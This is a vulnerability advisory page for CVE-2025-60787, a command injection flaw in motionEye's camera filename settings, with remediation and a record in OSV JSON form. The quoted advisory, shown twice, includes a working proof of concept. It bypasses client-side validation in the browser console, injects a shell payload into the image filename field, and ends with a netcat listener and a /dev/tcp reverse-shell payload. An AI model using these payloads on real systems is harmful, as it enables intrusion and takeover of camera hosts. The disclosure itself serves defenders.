CVE-2025-60787: Motioneye Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-j945-qm58-4gjx
CVSS 7.2
CWE-116 CWE-78
Published
Advisory Summary

CVE-2025-60787 is a HIGH (CVSS 7.2) remote code execution vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Motioneye libraries in the PyPI ecosystem. The issue involves motioneye vulnerable to rce via unsanitized motion config parameter. Remediation is available by upgrading affected packages to version 0.43.1b5.

CVE-2025-60787 at a Glance

CVE Identifier CVE-2025-60787
GHSA Identifier GHSA-j945-qm58-4gjx
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Motioneye
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-60787

To remediate this vulnerability, upgrade all affected Motioneye dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

motioneye fixed: 0.43.1b5
pip install motioneye>=0.43.1b5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show motioneye

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-60787, inspect your installed packages using pip:

pip show motioneye

Analyze the terminal output to locate any version of Motioneye in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.43.1b5), your application is affected.

Note: The pip show motioneye command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Motioneye, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges). ## Details ### Root Cause: MotionEye accepts arbitrary strings from fields such as **image_file_name** and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands. ### Vulnerability flow: Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload ### Affected code: The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields. ### Proof of Concept (PoC) The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye. Tested using the official Docker image. --- #### Environment Setup 1. **Start MotionEye container** Launch the vulnerable container: ```bash docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge ``` 2. **Verify version** Confirm the running version inside logs: ```bash docker logs motioneye | grep "motionEye server" ``` **Result:** ``` motionEye server 0.43.1b4 ``` <img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" /> 3. **Container shell access (for verification later)** Keep a shell handy to verify results: ```bash docker exec -it motioneye /bin/bash ls -la /tmp ``` --- #### Exploitation Steps 4. **Access Web Interface** - Open browser at: `http://127.0.0.1:9999` - Login with default credentials: **admin** / *(blank password)* - Add a sample RTSP network camera (required to enable camera-specific settings). <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" /> 5. **Attempt malicious filename input** - Go to: **Camera Settings → Still Images** - In the **Image File Name** field, try: ```bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S ``` - **Observation:** This is blocked by client-side validation in the browser. <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" /> <img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" /> 6. **Client-Side Validation Discovery** - The check is implemented in JavaScript: - `/static/js/main.js?v=0.43.1b4` → references `/static/js/ui.js?v=0.43.1b4` - Example validation function: ```javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } ``` 7. **Bypass Validation** - Open browser console (**F12 → Console tab**) - Override the function to always return true: ```javascript configUiValid = function() { return true; }; ``` - This bypasses client-side validation and allows arbitrary values. <img width="819" height="539" alt="bypass" src="https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2" /> 8. **Inject Payload** - Set **Capture Mode**: `Interval Snapshots` - Set **Interval**: `10` - Set **Image File Name** to the payload: ```bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S ``` - Click **Apply** to save settings. <img width="565" height="344" alt="inject_payload" src="https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e" /> 9. **Verify Execution** - Inside the container shell: ```bash ls -la /tmp ``` - **Result:** File `/tmp/test` is created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" /> --- #### Weaponizing RCE (Reverse Shell Example) 10. **Start attacker listener** ```bash nc -lvnp 4444 ``` 11. **Inject reverse shell payload** Enter the following into the **Image File Name** field: ```bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S ``` 12. **Result** - A reverse shell connects back to the attacker’s machine. - Attacker gains full control of the MotionEye container environment. <img width="1140" height="366" alt="final" src="https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9" /> --- #### Root Cause - MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-<id>.conf`. - On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution. ## Impact Type: OS Command Injection → Remote Code Execution Who is impacted: 1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password). 2. Containerized and bare-metal installs alike. Potential consequences: 1. Full compromise of MotionEye container. 2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

CVE-2025-60787 Affected Motioneye Versions

1 component(s)
Fixed Versions:
0.43.1b5
Product / Package Ecosystem Affected Versions Fixed Version
motioneye
PyPI
< 0.43.1b5
0.43.1b5

References

Frequently Asked Questions

What is CVE-2025-60787?
CVE-2025-60787 is a security vulnerability in Motioneye involving motionEye vulnerable to RCE via unsanitized motion config parameter under CWE-116: Improper Encoding or Escaping of Output.
Which Motioneye versions are affected?
Affected versions include releases prior to 0.43.1b5 across affected packages: motioneye.
What version fixes CVE-2025-60787?
Upgrading to 0.43.1b5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is motioneye affected?
Yes, motioneye is affected in releases prior to 0.43.1b5. Upgrade your dependency to 0.43.1b5 or later.
What is the CVSS score of CVE-2025-60787?
CVE-2025-60787 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-60787?
CVE-2025-60787 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check PyPI dependencies for CVE-2025-60787?
Run the dependency tree command: 'pip show motioneye'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j945-qm58-4gjx",
  "modified" : "2025-11-03T21:48:19Z",
  "published" : "2025-11-03T21:48:19Z",
  "aliases" : [ "CVE-2025-60787" ],
  "summary" : "motionEye vulnerable to RCE via unsanitized motion config parameter",
  "details" : "## Summary\nA command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).\n\n## Details\n### Root Cause:\nMotionEye accepts arbitrary strings from fields such as **image_file_name**  and **movie_filename** in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.\n\n### Vulnerability flow:\nDashboard (Web UI)\n   ↓\nConfigHandler.set_config()\n   ↓\ncamera-*.conf written\n   ↓\nmotionctl.restart()\n   ↓\nMotion parses config → executes payload\n\n\n### Affected code:\nThe issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.\n\n\n### Proof of Concept (PoC)\n\nThe following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.  \nTested using the official Docker image.\n\n---\n\n#### Environment Setup\n1. **Start MotionEye container**  \n   Launch the vulnerable container:  \n   ```bash\n   docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge\n   ```\n\n2. **Verify version**  \n   Confirm the running version inside logs:  \n   ```bash\n   docker logs motioneye | grep \"motionEye server\"\n   ```  \n   **Result:**  \n   ```\n   motionEye server 0.43.1b4\n   ```\n    <img width=\"741\" height=\"168\" alt=\"version_ver\" src=\"https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320\" />\n\n3. **Container shell access (for verification later)**  \n   Keep a shell handy to verify results:  \n   ```bash\n   docker exec -it motioneye /bin/bash\n   ls -la /tmp\n   ```\n\n---\n\n#### Exploitation Steps\n4. **Access Web Interface**  \n   - Open browser at: `http://127.0.0.1:9999`  \n   - Login with default credentials: **admin** / *(blank password)*  \n   - Add a sample RTSP network camera (required to enable camera-specific settings).\n    \n    <img width=\"1623\" height=\"869\" alt=\"add_camera\" src=\"https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc\" />\n\n5. **Attempt malicious filename input**  \n   - Go to: **Camera Settings → Still Images**  \n   - In the **Image File Name** field, try:  \n     ```bash\n     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n     ```  \n   - **Observation:** This is blocked by client-side validation in the browser.\n    \n    <img width=\"739\" height=\"104\" alt=\"er1\" src=\"https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b\" />\n    \n    <img width=\"611\" height=\"90\" alt=\"er2\" src=\"https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01\" />\n\n6. **Client-Side Validation Discovery**  \n   - The check is implemented in JavaScript:  \n     - `/static/js/main.js?v=0.43.1b4` → references `/static/js/ui.js?v=0.43.1b4`  \n   - Example validation function:  \n     ```javascript\n     function configUiValid() {\n       $('div.settings').find('.validator').each(function () { this.validate(); });\n       var valid = true;\n       $('div.settings input, select').each(function () {\n         if (this.invalid) { valid = false; return false; }\n       });\n       return valid;\n     }\n     ```\n\n7. **Bypass Validation**  \n   - Open browser console (**F12 → Console tab**)  \n   - Override the function to always return true:  \n     ```javascript\n     configUiValid = function() { return true; };\n     ```  \n   - This bypasses client-side validation and allows arbitrary values.\n    <img width=\"819\" height=\"539\" alt=\"bypass\" src=\"https://github.com/user-attachments/assets/c18d50cf-1f41-4f31-a23b-23ade9babaa2\" />\n\n8. **Inject Payload**  \n   - Set **Capture Mode**: `Interval Snapshots`  \n   - Set **Interval**: `10`  \n   - Set **Image File Name** to the payload:  \n     ```bash\n     $(touch /tmp/test).%Y-%m-%d-%H-%M-%S\n     ```  \n   - Click **Apply** to save settings.\n    <img width=\"565\" height=\"344\" alt=\"inject_payload\" src=\"https://github.com/user-attachments/assets/f23e76b2-6af3-490d-bce3-60ac3f96241e\" />\n\n9. **Verify Execution**  \n   - Inside the container shell:  \n     ```bash\n     ls -la /tmp\n     ```  \n   - **Result:** File `/tmp/test` is created with root permissions, confirming code execution.\n    <img width=\"554\" height=\"164\" alt=\"verify\" src=\"https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02\" />\n\n---\n\n#### Weaponizing RCE (Reverse Shell Example)\n10. **Start attacker listener**  \n    ```bash\n    nc -lvnp 4444\n    ```\n\n11. **Inject reverse shell payload**  \n    Enter the following into the **Image File Name** field:  \n    ```bash\n    $(python3 -c \"import os;os.system('bash -c \\\"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\\\"')\").%Y-%m-%d-%H-%M-%S\n    ```\n\n12. **Result**  \n    - A reverse shell connects back to the attacker’s machine.  \n    - Attacker gains full control of the MotionEye container environment.\n    <img width=\"1140\" height=\"366\" alt=\"final\" src=\"https://github.com/user-attachments/assets/2a8f650f-68f3-43b2-8594-08d5035c16b9\" />\n\n---\n\n#### Root Cause\n- MotionEye writes unsanitized values (e.g., `image_file_name`) from the Web UI directly into `camera-<id>.conf`.  \n- On restart, the `motion` binary parses these fields as shell-expandable strings, leading to arbitrary command execution.  \n\n## Impact\nType: OS Command Injection → Remote Code Execution\n\nWho is impacted:\n\n1. Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).\n2. Containerized and bare-metal installs alike.\n\nPotential consequences:\n\n1. Full compromise of MotionEye container.\n2. Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "motioneye"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.43.1b5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-60787"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/motioneye-project/motioneye"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-03T21:48:19Z",
    "nvd_published_at" : null
  }
}